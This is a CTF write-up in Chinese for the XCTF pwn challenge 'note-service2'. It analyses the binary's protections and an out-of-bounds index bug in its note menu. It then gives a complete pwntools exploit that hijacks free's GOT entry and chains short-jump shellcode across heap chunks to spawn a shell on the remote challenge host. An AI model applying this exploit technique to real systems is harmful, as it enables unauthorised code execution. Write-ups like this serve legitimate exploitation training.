1. [*] '/home/squirrel/桌面/target'
    2. Arch: amd64-64-little
    3. RELRO: Partial RELRO
    4. Stack: Canary found
    5. NX: NX disabled
    6. PIE: PIE enabled
    7. RWX: Has RWX segments

    没开NX,大致是写shellcode了

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      initio();
      welcome(a1, a2);
      sub_E30();
      return 0LL;
    }
    

    看下一个

    void sub_E30()
    {
      while ( 1 )
      {
        sub_C56();
        printf("your choice>> ");
        switch ( (unsigned int)readinto() )
        {
          case 1u:
            add();
            break;
          case 2u:
            show();                                 // 没东西
            break;
          case 3u:
            edit();                                 // 没东西
            break;
          case 4u:
            del();                                  // uaf
            break;
          case 5u:
            exit(0);
          default:
            puts("invalid choice");
            break;
        }
      }
    }
    

    add:

    int add()
    {
      int result; // eax
      int idx; // [rsp+8h] [rbp-8h]
      unsigned int size; // [rsp+Ch] [rbp-4h]
    
      result = bssDword;
      if ( bssDword >= 0 )
      {
        result = bssDword;
        if ( bssDword <= 11 )
        {
          printf("index:");
          idx = readinto();
          printf("size:");
          result = readinto();
          size = result;
          if ( result >= 0 && result <= 8 )
          {
            bssQword[idx] = malloc(result);         // Qword指针数组存放malloc申请的空间
            if ( !bssQword[idx] )
            {
              puts("malloc error");
              exit(0);
            }
            printf("content:");
            read_into_malloc(bssQword[idx], size);
            result = ++bssDword;                    // 数量?
          }
        }
      }
      return result;
    }
    

    readinto:

    unsigned __int64 __fastcall read_m(__int64 a1, int a2, char a3)
    {
      char buf; // [rsp+13h] [rbp-Dh] BYREF
      int i; // [rsp+14h] [rbp-Ch]
      unsigned __int64 v7; // [rsp+18h] [rbp-8h]
    
      v7 = __readfsqword(0x28u);
      for ( i = 0; a2 - 1 > i; ++i )
      {
        read(0, &buf, 1uLL);                        // nptr 16 10
        if ( buf == a3 )                            // ascii=10=\x0a
        {
          *(_BYTE *)(i + a1) = 0;
          break;
        }
        *(_BYTE *)(a1 + i) = buf;
      }
      *(_BYTE *)(i + a1) = 0;
      return __readfsqword(0x28u) ^ v7;
    }
    

    比如size是8字节,其实读入的只能是七字节
    看看del

    {
      int v0; // [rsp+Ch] [rbp-4h]
    
      printf("index:");
      v0 = readinto();
      free((void *)bssQword[v0]);
    }
    

    bssQword存放malloc的指针,而数组越界提供了任意地址改写的机制

    .got.plt:0000000000202000 _got_plt        segment qword public 'DATA' use64
    .got.plt:0000000000202000                 assume cs:_got_plt
    .got.plt:0000000000202000                 ;org 202000h
    .got.plt:0000000000202000                 dq offset stru_201DF8
    .got.plt:0000000000202008 qword_202008    dq 0                    ; DATA XREF: sub_880↑r
    .got.plt:0000000000202010 qword_202010    dq 0                    ; DATA XREF: sub_880+6↑r
    .got.plt:0000000000202018 off_202018      dq offset free          ; DATA XREF: _free↑r
    .got.plt:0000000000202020 off_202020      dq offset puts          ; DATA XREF: _puts↑r
    .got.plt:0000000000202028 off_202028      dq offset __stack_chk_fail
    .got.plt:0000000000202028                                         ; DATA XREF: ___stack_chk_fail↑r
    .got.plt:0000000000202030 off_202030      dq offset printf        ; DATA XREF: _printf↑r
    .got.plt:0000000000202038 off_202038      dq offset memset        ; DATA XREF: _memset↑r
    .got.plt:0000000000202040 off_202040      dq offset read          ; DATA XREF: _read↑r
    .got.plt:0000000000202048 off_202048      dq offset __libc_start_main
    .got.plt:0000000000202048                                         ; DATA XREF: ___libc_start_main↑r
    .got.plt:0000000000202050 off_202050      dq offset malloc        ; DATA XREF: _malloc↑r
    .got.plt:0000000000202058 off_202058      dq offset setvbuf       ; DATA XREF: _setvbuf↑r
    .got.plt:0000000000202060 off_202060      dq offset atoi          ; DATA XREF: _atoi↑r
    .got.plt:0000000000202068 off_202068      dq offset exit          ; DATA XREF: _exit↑r
    .got.plt:0000000000202068 _got_plt        ends
    .got.plt:0000000000202068
    ===========================================================================
    .................data................................
    ===========================================================================
    .bss:0000000000202080
    .bss:0000000000202080 ; Segment type: Uninitialized
    .bss:0000000000202080 ; Segment permissions: Read/Write
    .bss:0000000000202080 _bss            segment align_32 public 'BSS' use64
    .bss:0000000000202080                 assume cs:_bss
    .bss:0000000000202080                 ;org 202080h
    .bss:0000000000202080                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
    .bss:0000000000202080                 public __bss_start
    .bss:0000000000202080 ; FILE *_bss_start
    .bss:0000000000202080 __bss_start     dq ?                    ; DATA XREF: LOAD:0000000000000480↑o
    .bss:0000000000202080                                         ; LOAD:0000000000000498↑o ...
    .bss:0000000000202080                                         ; Alternative name is '_edata'
    .bss:0000000000202080                                         ; stdout
    .bss:0000000000202080                                         ; _edata
    .bss:0000000000202080                                         ; Copy of shared data
    .bss:0000000000202088                 align 10h
    .bss:0000000000202090                 public stdin
    .bss:0000000000202090 ; FILE *stdin
    .bss:0000000000202090 stdin           dq ?                    ; DATA XREF: LOAD:00000000000004C8↑o
    .bss:0000000000202090                                         ; sub_A80+4↑r
    .bss:0000000000202090                                         ; Copy of shared data
    .bss:0000000000202098 byte_202098     db ?                    ; DATA XREF: sub_A10↑r
    .bss:0000000000202098                                         ; sub_A10+29↑w
    .bss:0000000000202099                 align 4
    .bss:000000000020209C bssDword        dd ?                    ; DATA XREF: add+8↑r
    .bss:000000000020209C                                         ; add+16↑r ...
    .bss:00000000002020A0 ; _QWORD bssQword[12]
    .bss:00000000002020A0 bssQword        dq 0Ch dup(?)           ; DATA XREF: initio+18↑o
    .bss:00000000002020A0                                         ; add+92↑o ...
    .bss:00000000002020A0 _bss            ends
    .bss:00000000002020A0
    

    可以看到bss段在got段的下方(内存地址和ida是反的)
    又想到relro没开
    思路,劫持free的got表,改为execve
    chunk[0]存放/bin/sh 然后利用free chunk来get shell
    我们如何申请chunk呢
    注意到
    最高申请8个字节的空间

    if ( result >= 0 && result <= 8 )
          {
            bssQword[idx] = malloc(result);         // Qword指针数组存放malloc申请的空间
            if ( !bssQword[idx] )
            {
              puts("malloc error");
              exit(0);
            }
            printf("content:");
            read_into_malloc(bssQword[idx], size);
            result = ++bssDword;                    // 数量?
          }
    

    可以这样布置
    xctf-pwn-高手进阶区-note-service2 [recorded] - 图1
    malloc必须要有fd和bk域,所以申请8字节实际申请了16字节,空了一个字节
    我们写的data存放在fd的前七个字节
    那么到下一个data域的距离为
    1+8+8+8=0x19
    接下来回顾syscall的知识

    syscall->execve
    rax =0x3b#可查表得到execve的调用号
    rdi=/bin/sh
    rsi=0
    rdx=0#这两个是execve的参数和环境变量
    

    由于一次只能写入七个字节,只能通过“短跳”将shellcode布置在多个chunk里
    短跳

    jmp short =EB + xx
    

    这个是清零

    xor rdx,rdx
    

    还有一个nop指令,空过,什么都不做

    nop=\x90
    

    至于为什么每次都要将七字节填满,暂时没弄明白
    exp如下

    from pwn import*
    from LibcSearcher import*
    context(os='Linux',arch='amd64',log_level = 'debug')
    p=remote('111.200.241.244',64226)
    elf=ELF('./target')
    def add(idx,context):
        p.sendlineafter('your choice>> ','1')
        p.sendlineafter('index:',str(idx))
        p.sendlineafter('size:','8')
        p.sendafter('content:',context)
    
    def delete(idx):
        p.sendlineafter('your choice>> ','4')
        p.sendlineafter('index:',str(idx))
    
    #64systemcall rdi /bin/sh
    #             rax execve callNumber
    #             rsi 0
    #             rdx 0
    add(0,'/bin/sh')
    #xor rsi rsi
    #nop
    #nop
    #jump 0x19
    add((elf.got['free']-0x2020A0)/8,asm('xor rsi,rsi')+b'\x90\x90\xeb\x19')
    #push 0x3b
    #pop rax
    #nop
    #nop
    #jump 0x19
    add(1,asm('push 0x3b\n pop rax')+b'\x90\x90\xeb\x19')
    #xor rdx
    #....
    add(2,asm('xor rdx,rdx')+b'\x90\x90\xeb\x19')
    add(3,asm('syscall')+b'\x90'*5)
    delete(0)
    p.interactive()
    

    注意,有read函数的时候一定要考虑send和sendline的区别
    这里每个汇编字节的长度我也不知道怎么看,只能查表了
    申请的chunk虽然下标不同但是在内存中是顺序存放的
    也就是执行了free就会跳到第二个申请的chunk的data域去